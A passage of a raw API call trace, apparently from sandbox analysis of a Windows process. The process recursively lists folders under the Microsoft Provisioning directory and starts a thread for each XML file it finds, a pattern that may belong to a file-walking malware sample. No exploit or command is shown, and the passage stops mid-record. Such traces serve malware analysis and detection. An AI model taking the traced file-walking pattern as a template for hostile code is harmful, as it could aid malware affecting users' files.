[0077.769] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.769] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.769] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3429050 [0077.769] wcscpy (in: _Dest=0x3429050, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" [0077.769] wcscat (in: _Dest=0x3429050, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" [0077.769] wcscat (in: _Dest=0x3429050, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" [0077.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3429050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0077.770] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.770] FindClose (in: hFindFile=0x3433c28 | out: hFindFile=0x3433c28) returned 1 [0077.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec0f0) returned 1 [0077.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0330) returned 1 [0077.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ceea8) returned 1 [0077.770] RtlExitUserThread (Status=0x0) Thread: id = 696 os_tid = 0x39c [0074.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f03e0 [0074.876] wcscpy (in: _Dest=0x33f03e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" [0074.876] wcscat (in: _Dest=0x33f03e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" [0074.876] wcscat (in: _Dest=0x33f03e0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*" [0074.877] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec358 [0074.877] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*", lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ca8 [0074.878] wcscmp (_String1=".", _String2=".") returned 0 [0074.878] FindNextFileW (in: hFindFile=0x3433ca8, lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.879] wcscmp (_String1="..", _String2=".") returned 1 [0074.879] wcscmp (_String1="..", _String2="..") returned 0 [0074.879] FindNextFileW (in: hFindFile=0x3433ca8, lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410e9a1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410e9a1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54134c0b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1144, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0074.879] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.879] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x34356c8 [0074.879] wcscpy (in: _Dest=0x34356c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" [0074.879] wcscat (in: _Dest=0x34356c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" [0074.879] wcscat (in: _Dest=0x34356c8, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" [0076.624] Sleep (dwMilliseconds=0x1) [0077.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34356c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0077.764] FindNextFileW (in: hFindFile=0x3433ca8, lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540c24cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540c24cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540c24cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0077.764] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.764] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.764] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476e50 [0077.764] wcscpy (in: _Dest=0x3476e50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" [0077.764] wcscat (in: _Dest=0x3476e50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" [0077.764] wcscat (in: _Dest=0x3476e50, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" [0077.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0077.764] FindNextFileW (in: hFindFile=0x3433ca8, lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.765] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.765] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428ee0 [0077.765] wcscpy (in: _Dest=0x3428ee0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" [0077.765] wcscat (in: _Dest=0x3428ee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" [0077.765] wcscat (in: _Dest=0x3428ee0, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" [0077.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3428ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0077.766] FindNextFileW (in: hFindFile=0x3433ca8, lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.766] FindClose (in: hFindFile=0x3433ca8 | out: hFindFile=0x3433ca8) returned 1 [0077.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec358) returned 1 [0077.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f03e0) returned 1 [0077.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cea88) returned 1 [0077.766] RtlExitUserThread (Status=0x0) Thread: id = 697 os_tid = 0xd60 [0074.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0490 [0074.879] wcscpy (in: _Dest=0x33f0490, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" [0074.879] wcscat (in: _Dest=0x33f0490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" [0074.879] wcscat (in: _Dest=0x33f0490, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*" [0074.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec5c0 [0074.880] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*", lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34346e8 [0074.880] wcscmp (_String1=".", _String2=".") returned 0 [0074.880] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.880] wcscmp (_String1="..", _String2=".") returned 1 [0074.880] wcscmp (_String1="..", _String2="..") returned 0 [0074.880] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fff1c4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fff1c4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fff1c4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.880] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.880] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3434828 [0074.880] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" [0074.880] wcscat (in: _Dest=0x3434828, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" [0074.880] wcscat (in: _Dest=0x3434828, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" [0076.623] Sleep (dwMilliseconds=0x1) [0077.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0077.759] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8cab3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8cab3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8cab3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.759] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.759] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476d78 [0077.759] wcscpy (in: _Dest=0x3476d78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" [0077.759] wcscat (in: _Dest=0x3476d78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" [0077.759] wcscat (in: _Dest=0x3476d78, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" [0077.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0077.760] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.760] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.760] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.760] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428e28 [0077.761] wcscpy (in: _Dest=0x3428e28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" [0077.761] wcscat (in: _Dest=0x3428e28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" [0077.761] wcscat (in: _Dest=0x3428e28, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" [0077.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3428e28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0077.762] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.762] FindClose (in: hFindFile=0x34346e8 | out: hFindFile=0x34346e8) returned 1 [0077.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec5c0) returned 1 [0077.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0490) returned 1 [0077.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ceb38) returned 1 [0077.762] RtlExitUserThread (Status=0x0) Thread: id = 698 os_tid = 0x4a4 [0074.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0540 [0074.881] wcscpy (in: _Dest=0x33f0540, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" [0074.881] wcscat (in: _Dest=0x33f0540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" [0074.881] wcscat (in: _Dest=0x33f0540, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*" [0074.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec828 [0074.881] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*", lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434728 [0074.882] wcscmp (_String1=".", _String2=".") returned 0 [0074.882] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.882] wcscmp (_String1="..", _String2=".") returned 1 [0074.882] wcscmp (_String1="..", _String2="..") returned 0 [0074.882] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f19b66, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.882] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.882] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x34348f8 [0074.882] wcscpy (in: _Dest=0x34348f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" [0074.882] wcscat (in: _Dest=0x34348f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" [0074.882] wcscat (in: _Dest=0x34348f8, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" [0076.623] Sleep (dwMilliseconds=0x1) [0077.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34348f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0077.755] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, 